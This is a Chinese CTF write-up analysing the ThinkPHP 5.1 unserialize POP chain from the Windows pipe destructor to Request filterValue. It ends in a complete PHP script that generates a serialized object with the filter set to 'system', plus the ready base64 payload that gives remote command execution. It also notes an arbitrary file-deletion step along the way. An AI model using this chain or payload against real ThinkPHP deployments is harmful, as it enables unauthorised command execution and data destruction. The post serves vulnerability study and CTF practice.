基于一道ctf 引发的 TP链分析

本文详细分析了ThinkPHP 5.1版本中的远程代码执行(RCE)漏洞,通过深入研究其反序列化过程,揭示了如何利用特定构造的链路实现任意文件删除及最终的远程代码执行。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

回看 newstarctf week 3 的web题
想了想看看tp链吧
这道题是tp5.1 的版本
链比5.0的 短而且清晰,基于我这个shaluan tp不知道为什么动态调试出了问题 ,就只能静态分析了
首先是定入口
这里5.0和5.1的入口都是一样的
think\process\pipes\Windows.php
在这里插入图片描述他的destruct方法会依次调用其close 方法 和removeFiles 方法
在这里插入图片描述close下没看出什么能利用的地方
在这里插入图片描述这里有个file_exists方法和一个unlink方法 如果有反序列化入口的话 那么这里就是一个任意文件删除了,
反序列化中有个__toString的魔术方法 如果将有该方法的类当作字符串来调用 就会触发这个魔术方法 这里的file_exists 就会触发这个方法
在这里插入图片描述搜一下这个方法这里可以全部点开看看发现只有第一个能有后续的操作
而且因为是漏洞分析所以可以明确指出是第一个类中的toString方法

来到这个Conversion.php中
在这里插入图片描述看到这个方法调用了 toJson的方法

在这里插入图片描述继续调用toArray的方法
在其中我们看到了这样的一个代码段
在这里插入图片描述因为上面都没有return的操作 所以肯定会执行到这里
首先判断$this->append 是否为空
在这里插入图片描述
这个是我们可控的,在一开始反序列化的时候直接传进去就可以了
如果不为空 则把 这个键名 拿出来 看看
这个getRelation方法是如何传参的
在RelationShip.php下找到了这个方法 为什么是这两个类后面讲
在这里插入图片描述看到如果我们不做其他操作是个空值
这样就会调用到getAttr方法
在这里插入图片描述只有一个Attribute有进去看看
在这里插入图片描述他下面是个return $value 所以看看这个 getData方法
在这里插入图片描述这里这个 $name是存在的因为就是我们一开始传进去的键名
因此会调用第一个elseif
在这里插入图片描述所以我们要在类中加一个 $data 的变量,也就是说这个

$relation是我们任意可控的了 然后会执行这个 visible的方法.
这里涉及到另一个魔术方法了 __call 如果调用了一个该类没有的方法那么会自动执行该类的__call方法

md有点多啊 ,这里需要找的是Request下面的call方法
在这里插入图片描述这里如果有动态调试能更清晰的看出结构, 这边可以讲一下 这个 $method就是上面那个不存在的visible方法
因此return 里面的方法是我们可控的 这个Request下有一个input 方法是之前惯用的恶意方法了
但是直接调用input 里面的参数是我们不可控的
在这个类中我们找到了isAjax的方法
在这里插入图片描述他会调用 param的方法
在这里插入图片描述看到 下面参数获取
$this->get 获取get请求的参数
后调用input
因此这个
在这里插入图片描述 $data实际就是 $_GET 获取的参数 在看看getFilter
在这里插入图片描述获取了 $this->filter 因此这里也是可控
在这里插入图片描述
着两个if都会调用filterValue 方法 一个是递归调用 一个调用一次
在这里插入图片描述
call_user_func 调用 $filter 方法 将 $value 作为参数
也就是说这里可以执行任意命令了
到这整条链就结束了下面直接手撸链吧
这里跟大家讲讲为什么会选 Conversion类 以及RelationShip类
在这里插入图片描述在这里插入图片描述
这两个类的定义都是trait,因此不能直接作为反序列化的引用我们需要去找哪个类调用过他们 ,最后结果还是那个令人眼熟的Model类
在这里插入图片描述Model类是个抽象类因此需要去找一个实现它的类
在5.0的版本中 有两个 一个是Merge 一个是Pivot
5.1中只剩个Pivot了
因此整条链的逻辑就出来了

destruct()->removeFiles()->toString()->toJson()->toArray()->__call()->isAjax()->param()->input()->filterValue()->rce

<?php
//命名空间一定要写不然它反序列化自己找不到这个类
namespace think\process\pipes;
use think\model\concern\Conversion;

use think\model\Pivot;

class Windows{
    private $files;
    function __construct(){
        $this->files[]=new Pivot();
    }
}


namespace think\model\concern;
trait Conversion{}
namespace think;
abstract class Model{
    use model\concern\Conversion;
    protected $append ;
    protected $data ;
    function __construct(){
    //这个只是为了进if循环然后两次的键值要对上管你怎么写都行
        $this->append=array('ctfstar'=>['1']);
        $this->data=array('ctfstar'=>new Request());
    }
}


namespace think;
class Request{
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    protected $filter;
    protected $hook = [];
    function __construct(){
        $this->hook=array('visible'=>[$this,'isAjax']);
        //call_user_func_array($this->hook[$method], $args);
        //这个的经典写法了前面是类后面是方法
        $this->config=array('var_ajax'=>'');
        $this->filter='system';
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoxOiJhIjthOjE6e2k6MDtzOjE6IjEiO319czo3OiIAKgBkYXRhIjthOjE6e3M6MToiYSI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czowOiIiO31zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319fX19fX0=

然后回到buu上起一个靶机测试一下是否成功
在这里插入图片描述这个get传参的键名也随便传都ok的因为是从get里面取出来的,然后传多少个执行多少个
这是tp5.1的链 相较于5.0的两条算是流程较短的了

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值